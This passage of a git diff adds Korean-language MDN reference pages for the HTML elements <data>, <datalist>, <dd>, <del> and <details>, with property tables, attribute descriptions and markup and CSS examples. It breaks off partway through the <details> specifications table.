+<p>{{Compat("html.elements.content")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components">Web Components</a></li>
+ <li>{{HTMLElement("shadow")}}, {{HTMLElement("slot")}}, {{HTMLElement("template")}}, {{HTMLElement("element")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ko/web/html/element/data/index.html b/files/ko/web/html/element/data/index.html
new file mode 100644
index 0000000000..3841ae04fe
--- /dev/null
+++ b/files/ko/web/html/element/data/index.html
@@ -0,0 +1,104 @@
+---
+title: <data>
+slug: Web/HTML/Element/data
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/data
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;data&gt;</code> 요소</strong>는 주어진 콘텐츠를 기계가 읽을 수 있는 해석본과 연결합니다.</span> 콘텐츠가 시간 혹은 날짜 관련 정보라면 대신 {{htmlelement("time")}} 요소를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/data.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLDataElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>기계가 읽을 수 있는 형태의 콘텐츠 해석본.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>밑의 예제는 상품의 이름을 표시하면서, 각각의 상품 번호도 연결합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;새로운 상품들&lt;/p&gt;
+&lt;ul&gt;
+ &lt;li&gt;&lt;data value="398"&gt;미니 케찹&lt;/data&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;data value="399"&gt;점보 케찹&lt;/data&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;data value="400"&gt;메가 점보 케찹&lt;/data&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.data")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>HTML {{HTMLElement("time")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/datalist/index.html b/files/ko/web/html/element/datalist/index.html
new file mode 100644
index 0000000000..dd17028126
--- /dev/null
+++ b/files/ko/web/html/element/datalist/index.html
@@ -0,0 +1,115 @@
+---
+title: <datalist>
+slug: Web/HTML/Element/datalist
+tags:
+ - Element
+ - HTML
+ - HTML forms
+ - HTML5
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/datalist
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;datalist&gt;</code> 요소</strong>는 다른 컨트롤에서 고를 수 있는 가능한, 혹은 추천하는 선택지를 나타내는 {{htmlelement("option")}} 요소 여럿을 담습니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/datalist.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 또는 0개 이상의 {{htmlelement("option")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="/ko/docs/Web/Accessibility/ARIA/Roles/listbox_role"><code>listbox</code></a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLDataListElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;label for="myBrowser"&gt;아래 목록에서 브라우저를 선택하세요:&lt;/label&gt;
+&lt;input list="browsers" id="myBrowser" name="myBrowser" /&gt;
+&lt;datalist id="browsers"&gt;
+ &lt;option value="Chrome"&gt;
+ &lt;option value="Firefox"&gt;
+ &lt;option value="Internet Explorer"&gt;
+ &lt;option value="Opera"&gt;
+ &lt;option value="Safari"&gt;
+ &lt;option value="Microsoft Edge"&gt;
+&lt;/datalist&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.datalist")}}</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><a href="https://github.com/mfranzke/datalist-polyfill">datalist-polyfill</a>을 추가해 구형 브라우저에서 <code>&lt;datalist&gt;</code> 지원을 추가하세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} 요소와 {{htmlattrxref("list", "input")}} 특성</li>
+ <li>{{HTMLElement("option")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/dd/index.html b/files/ko/web/html/element/dd/index.html
new file mode 100644
index 0000000000..3129bef964
--- /dev/null
+++ b/files/ko/web/html/element/dd/index.html
@@ -0,0 +1,111 @@
+---
+title: <dd>
+slug: Web/HTML/Element/dd
+tags:
+ - Element
+ - HTML
+ - HTML grouping element
+ - Reference
+ - Web
+ - 요소
+translation_of: Web/HTML/Element/dd
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;dd&gt;</code> 요소</strong>는 정의 목록 요소({{HTMLElement("dl")}})에서 앞선 용어({{htmlelement("dt")}})에 대한 설명, 정의, 또는 값을 제공합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dd.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 바로 다음 요소가 <code>&lt;dd&gt;</code> 또는 {{HTMLElement("dt")}}거나, 자신이 부모의 마지막 자식이라면 닫는 태그는 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{HTMLElement("dl")}} 또는 ({{glossary("WHATWG")}} HTML에서) {{HTMLElement("dl")}} 안의 {{htmlelement("div")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 이전 형제 요소</th>
+ <td>{{HTMLElement("dt")}} 또는 다른 <code>&lt;dd&gt;</code>.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td>{{ARIARole("definition")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("nowrap")}} {{Non-standard_inline}}</dt>
+ <dd>값이 <code>yes</code>면 너비의 끝에서 정의 텍스트의 줄이 바뀌지 않습니다. 기본값은 <code>no</code>입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>예제를 보려면 <a href="/ko/docs/HTML/Element/dl#예제" title="HTML/Element/dl#examples"><code>&lt;dl&gt;</code> 예제</a>를 보세요.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-dd-element', '&lt;dd&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dd-element', '&lt;dd&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dd&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.dd")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLELement("dl")}}</li>
+ <li>{{HTMLElement("dt")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/del/index.html b/files/ko/web/html/element/del/index.html
new file mode 100644
index 0000000000..47dd0c67da
--- /dev/null
+++ b/files/ko/web/html/element/del/index.html
@@ -0,0 +1,140 @@
+---
+title: <del>
+slug: Web/HTML/Element/del
+tags:
+ - Element
+ - HTML
+ - HTML edits
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/del
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;del&gt;</code> 요소</strong>는 문서에서 제거된 텍스트의 범위를 나타냅니다.</span> 문서나 소스 코드의 변경점 추적 등에 사용할 수 있습니다. {{htmlelement("ins")}} 요소를 추가된 텍스트의 범위를 나타낼 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLModElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">을 포함</span>합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>회의록, 이슈 추적 시스템의 티켓 번호 등 변경점을 설명하는 리소스의 {{glossary("URI")}}.</dd>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>변경이 발생한 일시. 유효한 날짜 문자열이어야 하며, 시간을 지정할 경우 역시 유효해야 합니다. 유효하지 않은 값을 지정할 경우 일시를 지정하지 않은 것과 같습니다. 유효한 문자열의 종류는 <a href="/ko/docs/Web/HTML/Date_and_time_formats">HTML에서 사용하는 날짜와 시간 형식</a> 문서에서 확인할 수 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;&lt;del&gt;This text has been deleted&lt;/del&gt;,
+here is the rest of the paragraph.&lt;/p&gt;
+&lt;del&gt;&lt;p&gt;This paragraph has been deleted.&lt;/p&gt;&lt;/del&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>대부분의 스크린 리더는 기본값에서 <code>&lt;del&gt;</code> 요소의 존재를 표현하지 않습니다. 그러나 CSS {{cssxref("content")}} 속성과 {{cssxref("::before")}}, {{cssxref("::after")}} 의사 요소를 사용하면 소리내어 읽도록 할 수 있습니다.</p>
+
+<pre class="brush: css">ins::before,
+ins::after {
+ clip-path: inset(100%);
+ clip: rect(1px, 1px, 1px, 1px);
+ height: 1px;
+ overflow: hidden;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+
+ins::before {
+ content: " [제거 부분 시작] ";
+}
+
+ins::after {
+ content: " [제거 부분 끝] ";
+}</pre>
+
+<p>스크린 리더 사용자 일부는 지나치게 자세한 안내를 유발할 수 있는 콘텐츠의 표현을 의도적으로 꺼놓습니다. 그러므로 이 방식을 남용해선 안되며, 콘텐츠의 이해에 삭제 여부가 꼭 필요할 때만 사용해야 합니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Short note on making your mark (more accessible) | The Paciello Group</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html">Tweaking Text Level Styles | Adrian Roselli</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'edits.html#the-del-element', '&lt;del&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'edits.html#the-del-element', '&lt;del&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.4', '&lt;del&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.del")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>텍스트의 삽입을 위한 {{HTMLElement("ins")}} 요소</li>
+ <li>삭제 여부와 관계 없이 취소선을 위한 {{htmlelement("s")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/details/index.html b/files/ko/web/html/element/details/index.html
new file mode 100644
index 0000000000..2ff1da8f03
--- /dev/null
+++ b/files/ko/web/html/element/details/index.html
@@ -0,0 +1,284 @@
+---
+title: <details>
+slug: Web/HTML/Element/details
+tags:
+ - Element
+ - HTML
+ - HTML interactive elements
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/details
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;details&gt;</code> 요소</strong>는 "열림" 상태일 때만 내부 정보를 보여주는 정보 공개 위젯을 생성합니다.</span> 요약이나 레이블은 {{htmlelement("summary")}} 요소를 통해 제공할 수 있습니다.</p>
+
+<p>정보 공개 위젯은 보통 레이블 옆의 작은 삼각형이 돌아가면서 열림/닫힘 상태를 나타냅니다. <code>&lt;details&gt;</code> 요소의 첫 번째 자식이 <code>&lt;summary&gt;</code> 요소라면, <code>&lt;summary&gt;</code>의 콘텐츠를 위젯의 레이블로 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/details.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<div class="hidden">
+<div class="note">
+<p><strong>Note:</strong> The common use of a triangle which rotates or twists around to represent opening or closing the widget is why these are sometimes called "twisties."</p>
+</div>
+
+<p>A <code>&lt;details&gt;</code> widget can be in one of two states. The default <em>closed</em> state displays only the triangle and the label inside <code>&lt;summary&gt;</code> (or a {{Glossary("user agent")}}-defined default string if no <code>&lt;summary&gt;</code>). This might look like the following:</p>
+
+<figure style="margin: 1em 0; padding: 1em; border: 1px solid black; box-shadow: 0 0 4px 1px black; width: 640px;"><img alt="Screenshot of closed &lt;details> widget. A black left-pointing triangle sits to the right of the text “System Requirements”." src="https://mdn.mozillademos.org/files/15717/details-closed.png" style="height: 26px; width: 191px;"></figure>
+
+<p>Here we see a standard disclosure widget with the label "System Requirements", in its default closed state. When the user clicks on the widget or focuses it then presses the space bar, it "twists" open, revealing its contents:</p>
+
+<figure style="margin: 1em 0; padding: 1em; border: 1px solid black; box-shadow: 0 0 4px 1px black; width: 640px;"><img alt="Screenshot of open &lt;details> widget. The triangle now points downward, and a detailed description of what “System Requirements” means is shown." src="https://mdn.mozillademos.org/files/15718/details-open.png" style="height: 96px; width: 640px;"></figure>
+
+<p>From there, you can use CSS to style the disclosure widget, and you can programmatically open and close the widget by setting/removing its {{htmlattrxref("open", "details")}} attribute.</p>
+
+<p>By default when closed, the widget is only tall enough to display the disclosure triangle and summary. When open, it expands to display the details contained within.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Unfortunately, at this time there's no built-in way to animate the transition between open and closed.</p>
+</div>
+
+<p>Fully standards-compliant implementations automatically apply the CSS <code>{{cssxref("display")}}: list-item</code> to the {{HTMLElement("summary")}} element. You can use this to customize its appearance further. See {{anch("Customizing the disclosure widget")}} for further details.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>플로우 콘텐츠, 구획 루트, 대화형 콘텐츠, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>하나의 {{htmlelement("summary")}}와, 그 뒤의 플로우 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Flow_content">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td>{{ARIARole("group")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLDetailsElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>상세 정보, 즉 <code>&lt;details&gt;</code> 요소의 콘텐츠가 현재 보이는 상태인지 나타냅니다. 기본값 <code>false</code>는 정보가 보이지 않는다는 뜻입니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p><code>&lt;details&gt;</code> 요소는 HTML 요소가 지원하는 일반적인 이벤트 외에도, <code>&lt;details&gt;</code> 요소의 상태가 열기와 닫기로 바뀔 때 발생하는 {{event("toggle")}} 이벤트도 지원합니다. 이벤트는 상태가 변한 후 발생하며, 브라우저에서 이벤트를 쏘기 전에 상태가 여러 번 바뀌는 경우 모두 통합하여 하나의 이벤트만 전송합니다.</p>
+
+<p><code>toggle</code> 이벤트 처리기를 부착해 위젯의 상태 변화를 감지할 수 있습니다.</p>
+
+<pre class="brush: js">details.addEventListener("toggle", event =&gt; {
+ if (details.open) {
+ /* the element was toggled open */
+ } else {
+ /* the element was toggled closed */
+ }
+});</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<p>이번 예제는 요약 없는 <code>&lt;details&gt;</code> 요소를 보입니다.</p>
+
+<pre class="brush: html">&lt;details&gt;
+ &lt;p&gt;Requires a computer running an operating system. The computer
+ must have some memory and ideally some kind of long-term storage.
+ An input device as well as some form of output device is
+ recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<p>이렇게 사용하는 경우, 브라우저는 기본 요약 문자열("상세", "세부정보" 등)을 사용합니다. 아래에서 직접 확인해보세요.</p>
+
+<p>{{EmbedLiveSample("간단한_예제", 650, 150)}}</p>
+
+<h3 id="요약_제공하기">요약 제공하기</h3>
+
+<p>이번 예제는 이전 코드에 {{htmlelement("summary")}} 요소를 추가합니다.</p>
+
+<pre class="brush: html">&lt;details&gt;
+ &lt;summary&gt;System Requirements&lt;/summary&gt;
+ &lt;p&gt;Requires a computer running an operating system. The computer
+ must have some memory and ideally some kind of long-term storage.
+ An input device as well as some form of output device is
+ recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("요약_제공하기", 650, 150)}}</p>
+
+<h3 id="열려있는_상태로_만들기">열려있는 상태로 만들기</h3>
+
+<p><code>&lt;details&gt;</code>가 처음부터 열려있는 상태로 나타나게 하려면 <code>open</code> 특성을 지정하세요.</p>
+
+<pre class="brush: html">&lt;details open&gt;
+ &lt;summary&gt;System Requirements&lt;/summary&gt;
+ &lt;p&gt;Requires a computer running an operating system. The computer
+ must have some memory and ideally some kind of long-term storage.
+ An input device as well as some form of output device is
+ recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("열려있는_상태로_만들기", 650, 150)}}</p>
+
+<h3 id="외형_바꾸기">외형 바꾸기</h3>
+
+<p>이제 CSS를 추가해서 외형을 바꿔보겠습니다.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">details {
+ font: 16px "Open Sans", Calibri, sans-serif;
+ width: 620px;
+}
+
+details &gt; summary {
+ padding: 2px 6px;
+ width: 15em;
+ background-color: #ddd;
+ border: none;
+ box-shadow: 3px 3px 4px black;
+ cursor: pointer;
+}
+
+details &gt; p {
+ border-radius: 0 0 10px 10px;
+ background-color: #ddd;
+ padding: 2px 6px;
+ margin: 0;
+ box-shadow: 3px 3px 4px black;
+}
+</pre>
+
+<p>위의 CSS는 탭 인터페이스 같은 외형을 적용합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;details&gt;
+ &lt;summary&gt;System Requirements&lt;/summary&gt;
+ &lt;p&gt;Requires a computer running an operating system. The computer
+ must have some memory and ideally some kind of long-term storage.
+ An input device as well as some form of output device is
+ recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("외형_바꾸기", 650, 150)}}</p>
+
+<h3 id="위젯_바꾸기">위젯 바꾸기</h3>
+
+<p>넓게 지원되지는 않지만, 열림/닫힘을 나타내는 삼각형의 외형도 바꿀 수 있습니다. 요소의 표준화 과정 중 추가된 실험적 구현이기 때문에 브라우저의 지원에 차이가 있으므로, 당분간 여러 방식을 함께 사용해야 합니다.</p>
+
+<p>{{HTMLElement("summary")}} 요소는 {{cssxref("list-style")}} 단축 속성과, 그 본디 속성인 {{cssxref("list-style-type")}} 등을 지원하므로, {{cssxref("list-style-image")}} 속성 등을 사용해 삼각형을 원하는대로 바꿀 수 있습니다. 삼각형을 아예 제거하려면 <code>list-style: none</code>을 지정하면 됩니다.</p>
+
+<p>그러나 Chrome은 위의 방법을 아직 지원하지 않습니다. 따라서 비표준 <code>::-webkit-details-marker</code> <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 사용해야 합니다.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; highlight:[12, 15-17]">details {
+ font: 16px "Open Sans", Calibri, sans-serif;
+ width: 620px;
+}
+
+details &gt; summary {
+ padding: 2px 6px;
+ width: 15em;
+ background-color: #ddd;
+ border: none;
+ box-shadow: 3px 3px 4px black;
+ cursor: pointer;
+ list-style: none;
+}
+
+details &gt; summary::-webkit-details-marker {
+ display: none;
+}
+
+details &gt; p {
+ border-radius: 0 0 10px 10px;
+ background-color: #ddd;
+ padding: 2px 6px;
+ margin: 0;
+ box-shadow: 3px 3px 4px black;
+}
+</pre>
+
+<p>위의 CSS도 탭 인터페이스같은 외형을 적용하며, 이에 더해 삼각형을 제거합니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;details&gt;
+ &lt;summary&gt;System Requirements&lt;/summary&gt;
+ &lt;p&gt;Requires a computer running an operating system. The computer
+ must have some memory and ideally some kind of long-term storage.
+ An input device as well as some form of output device is
+ recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("위젯_바꾸기", 650, 150)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
